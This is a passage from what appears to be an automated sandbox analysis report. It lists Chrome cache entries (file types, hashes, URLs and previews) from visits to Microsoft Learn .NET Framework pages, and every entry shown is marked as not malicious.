Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
